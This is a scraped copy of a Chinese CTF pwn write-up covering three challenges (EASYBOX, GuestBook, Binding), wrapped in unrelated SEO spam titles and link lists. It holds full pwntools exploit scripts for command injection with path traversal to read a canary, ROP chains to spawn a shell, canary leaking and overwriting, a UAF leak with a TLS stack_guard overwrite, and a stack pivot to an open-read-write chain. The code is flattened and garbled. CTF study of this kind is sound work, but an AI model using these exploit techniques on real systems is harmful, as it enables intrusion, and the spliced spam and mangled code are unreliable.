当前位置: 首页 > news >正文

阿里企业的网站建设免费追剧的软件

阿里企业的网站建设,免费追剧的软件,dw做网站注册页代码,资深seo顾问前言 笔者没有参加此次比赛#xff0c;由于团队后面会复现此次比赛#xff0c;所以笔者在此进行复现记录。 EASYBOX 考点#xff1a;命令执行#xff1f; 栈溢出 附件给了 docker 环境#xff0c;可以直接在本地复现#xff0c;但是 docker 我不会调试#xff0c;幸…前言 笔者没有参加此次比赛由于团队后面会复现此次比赛所以笔者在此进行复现记录。 EASYBOX 考点命令执行 栈溢出 附件给了 docker 环境可以直接在本地复现但是 docker 我不会调试幸好这题也不用调试。 程序没开 PIE有 systemsh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。 漏洞分析 漏洞1 在 pingCommand 函数中对输入的字符检查不够严格导致存在命令注入例如我们可以通过 0echo data 向 /tmp/result.txt 文件中写入内容。 这个环境好像没有 tac/less/more 等命令然后 cat 被过滤了所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断但是这个无关紧要的可以 base 一下去除 \x00。 漏洞2 这里首先存在目录穿越也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显其实大家写过程序都知道对于文件的读取一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出。 漏洞利用 1、先利用 CAT 功能配合目录穿越读取 canary 2、再利用 PING 功能往 result.txt 文件中写入 rop 链 3、最后利用 CAT 功能读取 result.txt 造成栈溢出 exp 如下 from pwn import * import base64 context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debug#io process(./pwn) io remote(127.0.0.1, 9999) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bpop_rdi 0x0000000000401ce3 # pop rdi ; ret sh_addr 0x0000000000402090 system 0x00000000004018B2sla(bname: , bXiaozaYa) sla(b$ , bCAT) sla(bview: , b../../secret/canary.txt) canary int(rl(), 16) info(canary, canary)rop bA*72 p64(canary) p64(0xdeadbeef) p64(pop_rdi) p64(sh_addr) p64(system) rop base64.b64encode(rop) pay b0;echo rop b | base64 -d print(hex(len(pay)), :, pay)sla(b$ , bPING) sla(baddress: , pay) sla(b$ , bCAT) sla(bview: , bresult.txt)#debug() sh() 效果如下 GuestBook 考点栈溢出 没开 PIE有后门有栈溢出其实没啥好说的了 read 那里溢出到了 canary所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出strcpy 存在 \x00 截断所以 canary 分两次写即可。然后就直接跳到后门即可。 exp如下 from pwn import * context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debugio process(./pwn) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bsda(bname: , bA*23 bX bY) rut(bX) canary addr8(8) - ord(Y) rbp addr8(6) info(canary, canary) info(rbp, rbp)sla(b): , b2)pay bA*(0xA0 - 8) p64(canary ord(A)) bAAAAAAAA b\xc3\x12\x40 sl(pay)sleep(0.01) pay bA*(0xA0 - 8 - 0x20) sl(pay) #debug() sh() 效果如下 Binding 考点栈溢出这题套一个堆的壳子其实就是一个栈迁移打 orw 的题目 题目实现了一个菜单堆这里就只说下漏洞点 漏洞1 漏洞主要在 edit 函数中首先就是一个贴脸的栈溢出但是只溢出 0x10 字节所以想利用的话基本就是栈迁移。 然后还有一个致命的漏洞感觉非常莫名其妙add 会申请两个堆块其结构是这样的 也就是说 edit 每次先修改的 0x100 上面的指针然后在根据指针去写那这不就是白给的 8 字节任意地址写吗但是注意这里有个 *ptr (unsigned __int8*)*ptr这导致后面其实只能写一字节。 漏洞2 没有将指针置空可以利用 UAF 去泄漏 libc_base/heap_base。由于这里使用的是 calloc 所以 double free 不好直接打因为题目限制了堆块的大小在 [0x100, 0x200] 之间所以不会落在 fastbin 中。  利用思路 1、 UAF 泄漏 libc_base/heap_base 2、任意写修改 tcbhead_t 结构体中的 stack_guard 从而绕过 canary 保护 3、栈迁移到堆上打 orw exp 如下 from pwn import * context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debugio process(./pwn) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bYour choice: def add(idx, size, data, flagTrue):sla(menu, b1)sla(bIdx:, byte(idx))sla(bSize:, byte(size))if flag:sda(bContent:, data)else:sla(bContent:, data)def edit(idx, data0, data1, flagTrue):sla(menu, b2)if flag:sda(bIdx:, byte(idx))else:sda(bIdx:, idx)sda(bcontext1: , data0)sda(bcontext2: , data1)def show(idx, cmd0):sla(menu, b3)sla(bYour choice:, byte(cmd))sla(bIdx:, byte(idx))def dele(idx):sla(menu, b4)sla(bIdx:, byte(idx))for i in range(6):add(i, 256, bA\n)for i in range(1, 5):dele(i)show(2, 0) rut(b: ) heap_base addr8(6) - 0x5d0 info(heap_base, heap_base) show(4, 1) rut(b: ) libc_base addr8(6) - 0x1ecbe0 libc.address libc_base TLS_canary libc_base 0x1f3568 info(libc_base, libc_base) info(TLS_canary, TLS_canary)pop_rdi libc_base 0x0000000000023b6a # pop rdi ; ret pop_rsi libc_base 0x000000000002601f # pop rsi ; ret pop_rdx libc_base 0x0000000000142c92 # pop rdx ; ret leave_ret libc_base 0x00000000000578c8 # leave ; retorw p64(pop_rdi) p64(heap_base0xcd8) p64(pop_rsi) p64(0) p64(pop_rdx) p64(0) p64(libc.sym.open) orw p64(pop_rdi) p64(3) p64(pop_rsi) p64(heap_base0x300) p64(pop_rdx) p64(0x40) p64(libc.sym.read) orw p64(pop_rdi) p64(1) p64(pop_rsi) p64(heap_base0x300) p64(pop_rdx) p64(0x40) p64(libc.sym.write) orw b./flag\x00\x00 info(orw len, len(orw)) add(7, 256, orw)pay b0.ljust(0x28, b\x00) bA\x00\x00\x00\x00\x00\x00\x00 p64(heap_base0xc28) p64(leave_ret) edit(pay, p64(TLS_canary), bAAAAAAAA, False) #debug() sh() 效果如下
http://www.pierceye.com/news/618577/

相关文章:

  • 国外社交网站建设苏州seo门户网
  • 小程序建站公司唐山网页搜索排名提升
  • 网站后台模板北京网络营销方案
  • 网站如何不被百度搜到浙江网站怎么做推广
  • 网站建设主机类型怎么选diy电子商城网站
  • 中文域名 怎么做网站门户网站建站系统
  • 网站上的个人词条怎么做的做网站推广有用吗
  • 定兴县住房和城乡建设局网站河南省新闻奖
  • 江西省建设工程协会网站查询郑州网站建设一汉狮网络
  • 网站是否含有seo收录功能素材下载平台网站源码
  • 西宁个人网站建设不错的网站建设
  • 海南综合网站两学一做电视夜校做网店网站
  • wordpress分类页面空白网站建设优化哪家好
  • 宁波模板建站哪家服务专业wordpress 神箭手
  • 一张图片网站代码视频生成链接在线工具
  • 网站品牌推广浙江手机版建站系统开发
  • 网站后台密码在哪个文件建站报价表
  • 昌乐营销型网站建设个人管理系统
  • 手机网站开发位置定位天津和平做网站公司
  • 搜搜提交网站入口国外wordpress空间
  • python 做网站 数据库做企业官网还有必要吗
  • 数据录入网站开发安阳县实验中学
  • 网站 风格镜子厂家东莞网站建设
  • 做网站策划需要用什么软件网站建设 好发信息网
  • wordpress网站优化pc建站 手机网站
  • 教研网站建设方案如何网上接单做设计
  • 魏县网站建设推广怎样做seo搜索引擎优化
  • 网站优化外链怎么做东莞公司注册流程及需要的材料
  • 做交通锁具网站拍摄广告片制作公司
  • 学院网站建设项目范围变更申请表建设工程公司名称大全